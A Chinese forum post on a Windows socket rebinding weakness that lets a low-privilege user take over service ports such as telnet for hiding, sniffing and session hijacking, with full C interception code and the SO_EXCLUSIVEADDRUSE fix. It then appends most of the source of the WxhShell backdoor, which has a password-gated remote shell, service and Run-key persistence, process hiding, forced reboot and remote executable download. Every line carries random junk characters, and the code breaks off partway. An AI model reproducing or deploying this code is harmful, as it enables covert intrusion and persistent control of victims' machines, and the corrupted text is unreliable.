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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: g( eA?  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 0F 4%Xz  
+>mU4Fwp  
  saddr.sin_family = AF_INET; Z79Y$d>G<E  
ir )~T0  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); Vc|QW  
Mm"0Ip2"  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); +{ e2TY  
b Oh[(O!  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 jvE&%|Ngw  
,}OQzK/"mP  
  这意味着什么?意味着可以进行如下的攻击: %8% 0l*n'  
_32 o7}!x  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 !| GD8i  
=WFG[~8  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) HFj@NRE6  
NzID [8`  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 h5H#xoCXp  
98l-  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  2;ogkPv'  
W2,Uw1\:1  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 +^aM(4K\  
@F5QgO J&r  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 ?0+J"FH# W  
?B4X&xf.D  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 Fmrl*tr  
:?gk =JH:  
  #include Q;p% VQ  
  #include CM%;r5  
  #include pe`&zI_`?  
  #include    ^w}BXVn  
  DWORD WINAPI ClientThread(LPVOID lpParam);   UbwD2>  
  int main() 0_map z  
  { 8nRxx`U\q  
  WORD wVersionRequested; QW@`4W0F  
  DWORD ret; G?yG|5.pU  
  WSADATA wsaData; 1FEY&rpR  
  BOOL val; s\1c.  
  SOCKADDR_IN saddr; N^tH&\G\m  
  SOCKADDR_IN scaddr; a: OuDjFp  
  int err; h IUO=f  
  SOCKET s; [E%Ov0OC  
  SOCKET sc; z 4`H<Pn  
  int caddsize; e#uF?v]O  
  HANDLE mt; |S VL%agZ  
  DWORD tid;   RT=(vq @  
  wVersionRequested = MAKEWORD( 2, 2 ); L/J)OJe\  
  err = WSAStartup( wVersionRequested, &wsaData ); D~<0CQ3n.  
  if ( err != 0 ) { }%eXGdC  
  printf("error!WSAStartup failed!\n"); w w{07g  
  return -1; Y)v_O_`  
  } wd~!j&`a  
  saddr.sin_family = AF_INET; '^6x-aeq[D  
   #v4q:&yKf  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 lW YgIpw  
VbzW4J_  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); Jyu*{  
  saddr.sin_port = htons(23); {[.<BU-  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) wS1zd?  
  { ]^CNC0  
  printf("error!socket failed!\n"); )h?Pz1-W1  
  return -1; ?qjlWCV|e  
  } !+I!J s"  
  val = TRUE; P"mD 73a  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 ( u}tUv3  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) $5/lU }To  
  { FY;R0+N  
  printf("error!setsockopt failed!\n"); V2|XcR  
  return -1; ! .|\}=[e  
  } ;v1&Rs  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; < ekLL{/O'  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 d>NM4n[h8  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 @5\ns-%  
7vs>PV  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) R k).D 6  
  { "Dwaq*L  
  ret=GetLastError(); L2 tSKw~  
  printf("error!bind failed!\n"); 4!KUPgg  
  return -1; OmX(3>:9  
  } ?KfV>.()  
  listen(s,2); u CNi&.  
  while(1) v= I 'rx  
  { {m+(j (6-  
  caddsize = sizeof(scaddr); /"<o""<]  
  //接受连接请求 zcNv T  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); ^h@1tFF  
  if(sc!=INVALID_SOCKET) : |?nz$  
  { As7Y4w*+  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); mN:p=.& <  
  if(mt==NULL) 1tQl^>r16  
  { ?N*|S)BN  
  printf("Thread Creat Failed!\n"); $R[ggH&  
  break; AR-&c 3o  
  } AGxG*KuZ  
  } #2023Zo]  
  CloseHandle(mt); ,2YkQ/ >  
  } KDX34Fr1  
  closesocket(s); |H'4];>R?  
  WSACleanup(); )tyhf(p6  
  return 0; IaLCWvHX  
  }   #A2)]XvY  
  DWORD WINAPI ClientThread(LPVOID lpParam) !h0#es\  
  { le-Q&*  
  SOCKET ss = (SOCKET)lpParam; 24 i00s|#  
  SOCKET sc; IPhV|7  
  unsigned char buf[4096]; 5h2@n0  
  SOCKADDR_IN saddr; .:b|imgiv  
  long num; 8 3wa{m:  
  DWORD val; ]%PQ3MT.  
  DWORD ret; }QL 2#R  
  //如果是隐藏端口应用的话,可以在此处加一些判断 8&"@6/)[  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   WU -_Y^  
  saddr.sin_family = AF_INET; _JjR= m  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); O:Fnxp5@  
  saddr.sin_port = htons(23); 1c} %_Z/  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) A%pBvULH  
  { #X(KW&;m  
  printf("error!socket failed!\n"); D|}%(N@sl  
  return -1; Ol~j q;75  
  } U h'1f7%  
  val = 100; Q~A25Jf .  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) Wm/0Y'$r&k  
  { *L3>:],7  
  ret = GetLastError(); <Yk#MeiEp  
  return -1; sacaL4[_<  
  } n%>c4*t  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) .}>DEpc:n  
  { 9o]h}Xc  
  ret = GetLastError(); <d GGH  
  return -1; 1h.N &;vy  
  } jQp7TdvLE$  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) =~i~SG/f  
  { EVW{!\8[  
  printf("error!socket connect failed!\n"); JEK 6Ms;)A  
  closesocket(sc); 9w Pc03a  
  closesocket(ss); B%c):`w8]  
  return -1; ;L5'3+U  
  } n'yC-;  
  while(1) #l6L7u0~wC  
  { s^]F4'  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 S(c,Sinc  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 e[HP]$\   
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 Tk hu,  
  num = recv(ss,buf,4096,0); ?]'Rz\70  
  if(num>0) v:MJF*/  
  send(sc,buf,num,0); F8J;L](Dq  
  else if(num==0) 8v},&rhPQq  
  break; "-'w,g  
  num = recv(sc,buf,4096,0); LP8Stj JP  
  if(num>0) Q3M;'m  
  send(ss,buf,num,0); "0F =txduS  
  else if(num==0) MjAF&bD^  
  break; 06 kjJ4  
  } `[<j5(T  
  closesocket(ss); Qo !/]\  
  closesocket(sc); ckXJ9>  
  return 0 ; ik@g;>pQD  
  } MVW2 %6  
<|_/i/H  
L {6y]t7^  
========================================================== z:hY{/-  
xHv<pza:  
下边附上一个代码,,WXhSHELL 'J (4arN  
sD,[,6(  
========================================================== ;~Ke5os=s  
2},|RQETy  
#include "stdafx.h" dF2 &{D"J  
;O*y$|+PA  
#include <stdio.h> -0 [^w  
#include <string.h> A#gmKS<J/7  
#include <windows.h> 7u"t4Or  
#include <winsock2.h> e~C^*wL  
#include <winsvc.h> 9Z,vpTE  
#include <urlmon.h> }b-"[TDEF  
OTA@4~{C  
#pragma comment (lib, "Ws2_32.lib") 2jTP (b2b  
#pragma comment (lib, "urlmon.lib") 85rXm*Df  
qNP&f 8fH  
#define MAX_USER   100 // 最大客户端连接数 E?o1&(2p  
#define BUF_SOCK   200 // sock buffer 28u)q2s^W|  
#define KEY_BUFF   255 // 输入 buffer N 4$!V}pp  
}[P1Va[!  
#define REBOOT     0   // 重启 p$XL|1G*?H  
#define SHUTDOWN   1   // 关机  7(;M  
G2]/g  
#define DEF_PORT   5000 // 监听端口 _ECWSfZ  
aVI/x5p~  
#define REG_LEN     16   // 注册表键长度 >yC1X|d~t  
#define SVC_LEN     80   // NT服务名长度 +$KUy>  
Np4';H  
// 从dll定义API G3HmLz  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); DBuvbq-  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); KJPCO0"  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); @B;2z_Y!l  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); Bb^CukS:  
6b9 oSY-8  
// wxhshell配置信息 `+[e]dH  
struct WSCFG { -iu7/4!j  
  int ws_port;         // 监听端口 ]de'v  
  char ws_passstr[REG_LEN]; // 口令 #<V/lPz+  
  int ws_autoins;       // 安装标记, 1=yes 0=no c <8s \2  
  char ws_regname[REG_LEN]; // 注册表键名 {=W TAgP  
  char ws_svcname[REG_LEN]; // 服务名 C zKU;~D=B  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 *f8; #.Re  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 COe"te  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 C%ibIcm y  
int ws_downexe;       // 下载执行标记, 1=yes 0=no zQJ9V\0  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" -~O7.E(ok  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 o}&TFhT  
gTE/g'3  
}; RF/I*5  
z;6 Tp  
// default Wxhshell configuration ^nu~q+:+#  
struct WSCFG wscfg={DEF_PORT, \|\ Dc0p}  
    "xuhuanlingzhe", (9hCO-r  
    1, rPVz !(;k  
    "Wxhshell", ;Wa4d`K  
    "Wxhshell", a?bSMt}  
            "WxhShell Service", }W{rDc kv  
    "Wrsky Windows CmdShell Service", 0|g|k7c{rF  
    "Please Input Your Password: ", ^z #'o  
  1, p._BG80  
  "http://www.wrsky.com/wxhshell.exe", "'us.t.  
  "Wxhshell.exe" )UA$."~O  
    }; 1|)l6#hOL  
%|L+~=  
// 消息定义模块 B#RwW,  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; j(4BMk  
char *msg_ws_prompt="\n\r? for help\n\r#>"; }J27Y ;Zp9  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 0 1U/{D6D  
char *msg_ws_ext="\n\rExit."; 8?ldD  
char *msg_ws_end="\n\rQuit."; /t=R~BJu  
char *msg_ws_boot="\n\rReboot..."; )N`a4p  
char *msg_ws_poff="\n\rShutdown..."; uK6`3lCD  
char *msg_ws_down="\n\rSave to "; xc[Lb aBG  
lub(chCE[  
char *msg_ws_err="\n\rErr!"; _5'OQ'P2  
char *msg_ws_ok="\n\rOK!"; RIBj9kd  
OfC0lb:c  
char ExeFile[MAX_PATH]; (uV ~1  
int nUser = 0; Jh2eo+/%  
HANDLE handles[MAX_USER]; W]kh?+SZ  
int OsIsNt; FB {4& ;  
".jY3<bQg  
SERVICE_STATUS       serviceStatus; r`5[6)+P  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; h|h-<G?>  
[)V&$~xW  
// 函数声明 &WN#HI."]  
int Install(void); lhsd 39NM  
int Uninstall(void); c,a+u  
int DownloadFile(char *sURL, SOCKET wsh); 0j*-ZvE)30  
int Boot(int flag); G}1?lO_d`  
void HideProc(void); [ t@  
int GetOsVer(void); {2<A\nW  
int Wxhshell(SOCKET wsl); OQ&?^S`8',  
void TalkWithClient(void *cs); 0PIiG-o9  
int CmdShell(SOCKET sock); CR*R'KX D%  
int StartFromService(void); EgO=7?(pW  
int StartWxhshell(LPSTR lpCmdLine); }LLnJl~Z  
b0 ))->&2  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ))"J  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); p!^.;c  
2 2K:[K  
// 数据结构和表定义 23XSQHVx  
SERVICE_TABLE_ENTRY DispatchTable[] = 8s6~l.v  
{ x ;V7D5 q  
{wscfg.ws_svcname, NTServiceMain}, fx@Hd!nO~"  
{NULL, NULL} "L^Klk?Vn  
}; Ipo?>To  
5~Vra@iab:  
// 自我安装 | k"?I  
int Install(void) N yT|=`;  
{ RUHQ]@d#T  
  char svExeFile[MAX_PATH]; @T53%v<5  
  HKEY key; b~?FV>gl  
  strcpy(svExeFile,ExeFile); u/?s_OR  
:A%|'HxH3  
// 如果是win9x系统,修改注册表设为自启动 G0p|44_~t  
if(!OsIsNt) { |0 #J=am  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { [ iE%P^  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); rblEyCR  
  RegCloseKey(key); &6%%_Lw$  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { =fmM=@!$<  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); =C{)i@ +  
  RegCloseKey(key); _^cDB1I ?  
  return 0; <eRE;8C-  
    } s'\PU1{  
  } 9Z}Y2:l'  
} )G$/II9d  
else { IV$pA`|V  
nbM[?=WS  
// 如果是NT以上系统,安装为系统服务 ycAQHY~n  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); GtcY){7  
if (schSCManager!=0) VfAC&3 %M  
{ gf/$M[H!   
  SC_HANDLE schService = CreateService tRU+6D <w  
  ( _[|~(lDJl  
  schSCManager, 3=w$1.B d  
  wscfg.ws_svcname, vZj:\geV  
  wscfg.ws_svcdisp, 6 R}]RuFQ  
  SERVICE_ALL_ACCESS, JSXudz5 c  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ,f0|eu>  
  SERVICE_AUTO_START, SaK aN#C  
  SERVICE_ERROR_NORMAL, S;#S3?G  
  svExeFile, +92/0  
  NULL, v%O KOrJ  
  NULL, 4DY\QvW5  
  NULL, ((i%h^tGa;  
  NULL, hKP7p   
  NULL ,!U._ic'B  
  ); pyA;%vJn  
  if (schService!=0) ^`ah\L  
  { : vN'eL|#  
  CloseServiceHandle(schService); o*OYZ/_L  
  CloseServiceHandle(schSCManager); b#;%TbDF  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ` #Qlr+X  
  strcat(svExeFile,wscfg.ws_svcname); ^_FB .y%  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ^|yw)N]Q/  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ;Z]i$Vi_r  
  RegCloseKey(key); TVVL1wZ  
  return 0; hwkm'$}  
    } po@=$HK  
  } WW33ZJ  
  CloseServiceHandle(schSCManager); vR$[#`X  
} h}PeXnRU  
} ] ?!#*<t r  
YTH3t] &  
return 1; \9Nd"E[B  
} $'D|}=h<Y  
ut8v&i1?  
// 自我卸载 !{'C.sb?~  
int Uninstall(void) c#'t][Ii  
{ G'b*.\=  
  HKEY key; }F3}-5![  
MVdX  
if(!OsIsNt) { D:`b61sWi_  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { (]* Ro 8  
  RegDeleteValue(key,wscfg.ws_regname); 5 [{l9  
  RegCloseKey(key); '?]B ui  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ];& @T\Rj  
  RegDeleteValue(key,wscfg.ws_regname); yhzC 9nTH  
  RegCloseKey(key); $#R@x.=  
  return 0; Pn:L=*  
  } *o<zo `  
} wlc Cz  
} nrqr p  
else { F_>OpT  
J3Ipk-'lx  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); OwhMtYq  
if (schSCManager!=0) R42+^'af  
{ pVgzUu7  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ;a@%FWc  
  if (schService!=0) #R2wt7vE  
  { iTTUyftHT  
  if(DeleteService(schService)!=0) { W"j&':xD  
  CloseServiceHandle(schService); JC| j*x(k/  
  CloseServiceHandle(schSCManager); (+SfDL$m  
  return 0; :x"Q[079  
  } b CWSh~  
  CloseServiceHandle(schService); * E$&  
  } 38<!Dt+S(,  
  CloseServiceHandle(schSCManager); xgsEJE  
} X>}-UHKV+  
} 9FB k|g"U)  
CUIFKM  
return 1; +<#0V!DM  
} Zy !^HS$  
(jj=CLe  
// 从指定url下载文件 sfb)iH|sW  
int DownloadFile(char *sURL, SOCKET wsh) "^/3?W>  
{ L1P.@hJ  
  HRESULT hr; n*twuB/P 1  
char seps[]= "/"; )1#J4  
char *token; XMt)\r.  
char *file; 5d ?\>dA  
char myURL[MAX_PATH]; ?K5S{qG'O  
char myFILE[MAX_PATH]; 44e:K5;]7  
sa8Q1i&%  
strcpy(myURL,sURL); .%~m|t+Rt  
  token=strtok(myURL,seps); [PXv8K%]p  
  while(token!=NULL) Uwj|To&QR  
  { B?bdHO:E~  
    file=token; :SBB3G)|  
  token=strtok(NULL,seps); h = <x%sie  
  } ,x (?7ZW>  
-^C^3pms  
GetCurrentDirectory(MAX_PATH,myFILE); C/34K(  
strcat(myFILE, "\\"); -zn$h$N4  
strcat(myFILE, file); l Vb{bO9-O  
  send(wsh,myFILE,strlen(myFILE),0); .J?cV;:`  
send(wsh,"...",3,0); Whd.AaD\  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); CEQs}bz  
  if(hr==S_OK) o8uak*"{  
return 0; sVT:1 kI  
else qYba%g9RN(  
return 1; &YiUhK  
SM? rss.=  
} ,,}& Q%5  
86 $88`/2  
// 系统电源模块 T?lp:~d  
int Boot(int flag) &/+LY_r'<I  
{ h*X5O h6  
  HANDLE hToken; fYxdG|>{u  
  TOKEN_PRIVILEGES tkp; TzSEQ S{  
-] @cUx  
  if(OsIsNt) { q8m[ S4Q]g  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ]LbFh5;s  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); zG^|W8um_  
    tkp.PrivilegeCount = 1; b8FSVV 7@  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; =lb5 #  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); }Od=WQv+  
if(flag==REBOOT) { #(Xv\OE  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 2E 0A`  
  return 0; Z;'5A2  
} {TOz}=R"3h  
else { @~ 6,8nQ  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ro}WBv  
  return 0; T<ka4  
} x<Ac\Cx  
  } ]H {g/C{j  
  else { QgF2f/;!  
if(flag==REBOOT) { ! (H RP9  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) b)(si/]\  
  return 0; u.yjk/jF  
} eeVzOq(  
else { TxA%{0  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ;{j@ia  
  return 0; ~rfUqM]I   
} ->9waXRDz)  
} R+&{lc  
|U:VkiKt  
return 1; { POfT m}  
} Y@l>4q")  
'/U%-/@  
// win9x进程隐藏模块 VX6M4<8  
void HideProc(void) 'hNRIM1  
{ V*,6_ -^l  
*KYh_i  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); uY;7&Lw y1  
  if ( hKernel != NULL ) )u?^w  
  { cgV5{|P  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 1lLXu  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); -IE=?23Do?  
    FreeLibrary(hKernel); =WEWs4V5A  
  } TQL_K8k@_  
P;bOtT --  
return; wl N l|+ K  
} b O9PpOk+z  
O*lMIWx  
// 获取操作系统版本 HO}eu  
int GetOsVer(void) v"x'rx#  
{ F 9J9zs*,  
  OSVERSIONINFO winfo; 0c GjOl  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); EUmbNV0u  
  GetVersionEx(&winfo); -~NjZ=vPh  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) j V'~>  
  return 1; 3kW%,d*_  
  else (nnIRN<}$  
  return 0; /4>|6l=  
} yD yMI  
' JAcN@q~z  
// 客户端句柄模块 4<btWbk5u*  
int Wxhshell(SOCKET wsl) tGw QUn  
{ 0RF<:9@x2  
  SOCKET wsh; fO{'$?K  
  struct sockaddr_in client; s*tzU.E (  
  DWORD myID; fq(3uE]nC  
g0 k{b  
  while(nUser<MAX_USER) rd ]dD G  
{ 2#_ i_j  
  int nSize=sizeof(client); 7Um3m yXU  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); T]lVwj  
  if(wsh==INVALID_SOCKET) return 1; ,R*YI  
&`B Tw1u  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); mQ=nU  
if(handles[nUser]==0) S]<%^W'  
  closesocket(wsh); OV`#/QL  
else rodr@  
  nUser++; /g\m7m)u  
  } !{S HlS  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ' fka?lL  
9RQw6rL  
  return 0; {SwvUWOf"  
} CuA A)Bj  
V\/5H~L  
// 关闭 socket yIf>8ed]#  
void CloseIt(SOCKET wsh) '-[?iF@l  
{ f}:W1&LhI?  
closesocket(wsh); D {N,7kT  
nUser--; Stk'|-z  
ExitThread(0); zuYz"-(L  
} x}7`Q:k=  
0#!Z1:Y  
// 客户端请求句柄 QN8.FiiD  
void TalkWithClient(void *cs) ~+anI  
{ gPY Cw?zQ  
\heQVWRl  
  SOCKET wsh=(SOCKET)cs; a+e8<fM yT  
  char pwd[SVC_LEN]; 9._Osbp3P  
  char cmd[KEY_BUFF]; WoD Qg64  
char chr[1]; ^ Iy'<J  
int i,j; E-b3#\^:  
&-(p~[|  
  while (nUser < MAX_USER) { 9UcSQ"D  
#TD0)C/  
if(wscfg.ws_passstr) { !^IAn  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); x`Ik747^v  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); o]WG8Mo-  
  //ZeroMemory(pwd,KEY_BUFF); X@^"@  
      i=0; N6uKFQL:{  
  while(i<SVC_LEN) { 4L/8Hj#g  
(E<QA  
  // 设置超时 /u pDbP.O  
  fd_set FdRead; h%!N!\  
  struct timeval TimeOut; YnwP\Arfq  
  FD_ZERO(&FdRead); r1AG1Y  
  FD_SET(wsh,&FdRead); la*c/*  
  TimeOut.tv_sec=8; (nt=  
  TimeOut.tv_usec=0; q|xic>.  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); )kt,E}609  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); `dm}|$X|  
$?dutbE  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); KO&oT#S  
  pwd=chr[0]; T)#eaz$4W  
  if(chr[0]==0xd || chr[0]==0xa) { $#7~  
  pwd=0;  rhO 8v  
  break; {"@E_{\  
  } +^V%D!.$@  
  i++; nI<Ab_EB  
    } |emZZj  
]?n~?dD{]  
  // 如果是非法用户,关闭 socket j[&C6l+wH  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); |<w Z;d  
} 4<l&cP  
p WLFJH}N  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); Ukg iSv+  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); '`/w%OEVC5  
U Y')|2y 5  
while(1) { 6dQ]=];  
.+2@(r  
  ZeroMemory(cmd,KEY_BUFF); cP &XkAQ  
{ , zg  
      // 自动支持客户端 telnet标准   ;&U! g&  
  j=0; 1`l10fqU  
  while(j<KEY_BUFF) { QP1 bm]QYA  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); TI^M9;b  
  cmd[j]=chr[0]; |c3Yh,Sv  
  if(chr[0]==0xa || chr[0]==0xd) { jLgx(bMn  
  cmd[j]=0; 4KT-U6zNx  
  break; UWW_[dJr   
  } hwB>@r2  
  j++; M$+2f.(>k)  
    } Wz-7oP%;I  
B4ky%gF4  
  // 下载文件 8jm\/?k|  
  if(strstr(cmd,"http://")) { -8D$[@y(  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); =3<@{^Eg  
  if(DownloadFile(cmd,wsh)) N[8y+2SZ  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); [" nDw<U  
  else ?R\:6x<  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); h;`]rK;g  
  } ZX03FJL7u  
  else { u|uPvbM  
0 |Y'@&  
    switch(cmd[0]) { ;O Y*`(Id  
  N77EM  
  // 帮助 $][$ e  
  case '?': { QP0[  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); " H; i Av  
    break; +Rb0:r>kU  
  } aIW W[xZ  
  // 安装 v#o<. Ig  
  case 'i': { $H2HVJ  
    if(Install()) fY{&W@#g  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 'k9dN \ev  
    else OX*5 yT{  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); @gHWU>k,A  
    break; - |j4u#z  
    } TWk1`1|  
  // 卸载 2$%E:J+2:$  
  case 'r': { @N,I}_9-  
    if(Uninstall()) okv`v ({  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); sCw X|  
    else EABy<i  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0);  cnwpd%]o  
    break; 3^J~ts{*  
    } X'KkIo :  
  // 显示 wxhshell 所在路径 9;k!dM  
  case 'p': { ^lCQHz  
    char svExeFile[MAX_PATH]; F^)SQ%xx  
    strcpy(svExeFile,"\n\r"); )OgQ&,#  
      strcat(svExeFile,ExeFile); D?< R5zp  
        send(wsh,svExeFile,strlen(svExeFile),0); c DO<z  
    break; dLIZ)16&  
    } ]f~mR_E  
  // 重启 _aLml9f W  
  case 'b': { k6PHyt`3'  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); QwL'5ws{q  
    if(Boot(REBOOT)) sU }.2k  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); FsyM{LT  
    else { /vG)n9Rc  
    closesocket(wsh); ^J_rb;m43  
    ExitThread(0); soi.`xE  
    } r7=r~3)  
    break; g4fe(.?c,  
    } ZQQ0}  
  // 关机 f}U@e0Lsb  
  case 'd': { %HK\  
